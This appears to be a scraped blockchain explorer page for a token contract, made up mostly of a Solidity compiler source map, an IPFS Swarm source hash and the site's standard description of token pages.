1;;;;;;;4959:20:0;;;;;;:9;:20;;;;;:30;;4983:6;;4959:20;:30;;4983:6;;4959:30;:::i;:::-;;;;-1:-1:-1;;5003:45:0;;2670:25:1;;;-1:-1:-1;;;;;5003:45:0;;;993:10;;5003:45;;2658:2:1;2643:18;5003:45:0;;;;;;;-1:-1:-1;5062:4:0;;4509:565;-1:-1:-1;;;4509:565:0:o;3140:117::-;1415:7;1442:15;-1:-1:-1;;;;;1442:15:0;993:10;1521:32;1513:111;;;;-1:-1:-1;;;1513:111:0;;;;;;;:::i;:::-;3222:14:::1;:27:::0;;-1:-1:-1;;;;;;3222:27:0::1;-1:-1:-1::0;;;;;3222:27:0;;;::::1;::::0;;;::::1;::::0;;3140:117::o;1652:253::-;1415:7;1442:15;-1:-1:-1;;;;;1442:15:0;993:10;1521:32;1513:111;;;;-1:-1:-1;;;1513:111:0;;;;;;;:::i;:::-;1748:15:::1;::::0;;1732:85:::1;::::0;1773:42:::1;::::0;-1:-1:-1;;;;;1748:15:0;;::::1;::::0;1732:85:::1;::::0;::::1;1828:15;:69:::0;;-1:-1:-1;;;;;;1828:69:0::1;1854:42;1828:69;::::0;;1652:253::o;14:127:1:-;75:10;70:3;66:20;63:1;56:31;106:4;103:1;96:15;130:4;127:1;120:15;146:173;214:20;;-1:-1:-1;;;;;263:31:1;;253:42;;243:70;;309:1;306;299:12;243:70;146:173;;;:::o;324:1191::-;417:6;425;478:2;466:9;457:7;453:23;449:32;446:52;;;494:1;491;484:12;446:52;534:9;521:23;563:18;604:2;596:6;593:14;590:34;;;620:1;617;610:12;590:34;658:6;647:9;643:22;633:32;;703:7;696:4;692:2;688:13;684:27;674:55;;725:1;722;715:12;674:55;761:2;748:16;783:4;806:2;802;799:10;796:36;;;812:18;;:::i;:::-;858:2;855:1;851:10;890:2;884:9;953:2;949:7;944:2;940;936:11;932:25;924:6;920:38;1008:6;996:10;993:22;988:2;976:10;973:18;970:46;967:72;;;1019:18;;:::i;:::-;1055:2;1048:22;1105:18;;;1139:15;;;;-1:-1:-1;1181:11:1;;;1177:20;;;1209:19;;;1206:39;;;1241:1;1238;1231:12;1206:39;1265:11;;;;1285:148;1301:6;1296:3;1293:15;1285:148;;;1367:23;1386:3;1367:23;:::i;:::-;1355:36;;1318:12;;;;1411;;;;1285:148;;;1452:6;1490:18;;;;1477:32;;-1:-1:-1;;;;;;;324:1191:1:o;1520:548::-;1632:4;1661:2;1690;1679:9;1672:21;1722:6;1716:13;1765:6;1760:2;1749:9;1745:18;1738:34;1790:1;1800:140;1814:6;1811:1;1808:13;1800:140;;;1909:14;;;1905:23;;1899:30;1875:17;;;1894:2;1871:26;1864:66;1829:10;;1800:140;;;1804:3;1989:1;1984:2;1975:6;1964:9;1960:22;1956:31;1949:42;2059:2;2052;2048:7;2043:2;2035:6;2031:15;2027:29;2016:9;2012:45;2008:54;2000:62;;;;1520:548;;;;:::o;2073:254::-;2141:6;2149;2202:2;2190:9;2181:7;2177:23;2173:32;2170:52;;;2218:1;2215;2208:12;2170:52;2241:29;2260:9;2241:29;:::i;:::-;2231:39;2317:2;2302:18;;;;2289:32;;-1:-1:-1;;;2073:254:1:o;2706:328::-;2783:6;2791;2799;2852:2;2840:9;2831:7;2827:23;2823:32;2820:52;;;2868:1;2865;2858:12;2820:52;2891:29;2910:9;2891:29;:::i;:::-;2881:39;;2939:38;2973:2;2962:9;2958:18;2939:38;:::i;:::-;2929:48;;3024:2;3013:9;3009:18;2996:32;2986:42;;2706:328;;;;;:::o;3436:186::-;3495:6;3548:2;3536:9;3527:7;3523:23;3519:32;3516:52;;;3564:1;3561;3554:12;3516:52;3587:29;3606:9;3587:29;:::i;:::-;3577:39;3436:186;-1:-1:-1;;;3436:186:1:o;3627:689::-;3722:6;3730;3738;3791:2;3779:9;3770:7;3766:23;3762:32;3759:52;;;3807:1;3804;3797:12;3759:52;3847:9;3834:23;3876:18;3917:2;3909:6;3906:14;3903:34;;;3933:1;3930;3923:12;3903:34;3971:6;3960:9;3956:22;3946:32;;4016:7;4009:4;4005:2;4001:13;3997:27;3987:55;;4038:1;4035;4028:12;3987:55;4078:2;4065:16;4104:2;4096:6;4093:14;4090:34;;;4120:1;4117;4110:12;4090:34;4175:7;4168:4;4158:6;4155:1;4151:14;4147:2;4143:23;4139:34;4136:47;4133:67;;;4196:1;4193;4186:12;4133:67;4227:4;4219:13;;;;4251:6;;-1:-1:-1;4289:20:1;;;;4276:34;;3627:689;-1:-1:-1;;;;3627:689:1:o;4321:260::-;4389:6;4397;4450:2;4438:9;4429:7;4425:23;4421:32;4418:52;;;4466:1;4463;4456:12;4418:52;4489:29;4508:9;4489:29;:::i;:::-;4479:39;;4537:38;4571:2;4560:9;4556:18;4537:38;:::i;:::-;4527:48;;4321:260;;;;;:::o;4586:469::-;4788:2;4770:21;;;4827:2;4807:18;;;4800:30;4866:34;4861:2;4846:18;;4839:62;4937:34;4932:2;4917:18;;4910:62;-1:-1:-1;;;5003:3:1;4988:19;;4981:32;5045:3;5030:19;;4586:469::o;5476:127::-;5537:10;5532:3;5528:20;5525:1;5518:31;5568:4;5565:1;5558:15;5592:4;5589:1;5582:15;6281:127;6342:10;6337:3;6333:20;6330:1;6323:31;6373:4;6370:1;6363:15;6397:4;6394:1;6387:15;6413:135;6452:3;6473:17;;;6470:43;;6493:18;;:::i;:::-;-1:-1:-1;6540:1:1;6529:13;;6413:135::o;6553:422::-;6642:1;6685:5;6642:1;6699:270;6720:7;6710:8;6707:21;6699:270;;;6779:4;6775:1;6771:6;6767:17;6761:4;6758:27;6755:53;;;6788:18;;:::i;:::-;6838:7;6828:8;6824:22;6821:55;;;6858:16;;;;6821:55;6937:22;;;;6897:15;;;;6699:270;;;6703:3;6553:422;;;;;:::o;6980:806::-;7029:5;7059:8;7049:80;;-1:-1:-1;7100:1:1;7114:5;;7049:80;7148:4;7138:76;;-1:-1:-1;7185:1:1;7199:5;;7138:76;7230:4;7248:1;7243:59;;;;7316:1;7311:130;;;;7223:218;;7243:59;7273:1;7264:10;;7287:5;;;7311:130;7348:3;7338:8;7335:17;7332:43;;;7355:18;;:::i;:::-;-1:-1:-1;;7411:1:1;7397:16;;7426:5;;7223:218;;7525:2;7515:8;7512:16;7506:3;7500:4;7497:13;7493:36;7487:2;7477:8;7474:16;7469:2;7463:4;7460:12;7456:35;7453:77;7450:159;;;-1:-1:-1;7562:19:1;;;7594:5;;7450:159;7641:34;7666:8;7660:4;7641:34;:::i;:::-;7711:6;7707:1;7703:6;7699:19;7690:7;7687:32;7684:58;;;7722:18;;:::i;:::-;7760:20;;6980:806;-1:-1:-1;;;6980:806:1:o;7791:140::-;7849:5;7878:47;7919:4;7909:8;7905:19;7899:4;7878:47;:::i;7936:168::-;8009:9;;;8040;;8057:15;;;8051:22;;8037:37;8027:71;;8078:18;;:::i;8515:424::-;8717:2;8699:21;;;8756:2;8736:18;;;8729:30;8795:34;8790:2;8775:18;;8768:62;8866:30;8861:2;8846:18;;8839:58;8929:3;8914:19;;8515:424::o;8944:128::-;9011:9;;;9032:11;;;9029:37;;;9046:18;;:::i;9077:125::-;9142:9;;;9163:10;;;9160:36;;;9176:18;;:::i;9611:470::-;9813:2;9795:21;;;9852:2;9832:18;;;9825:30;9891:34;9886:2;9871:18;;9864:62;9962:34;9957:2;9942:18;;9935:62;-1:-1:-1;;;10028:3:1;10013:19;;10006:33;10071:3;10056:19;;9611:470::o
Swarm Source
ipfs://88500a7da8a815d188fbec2ed337a09960ad73bfd5e4c84fdf8112d60000a9b6
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.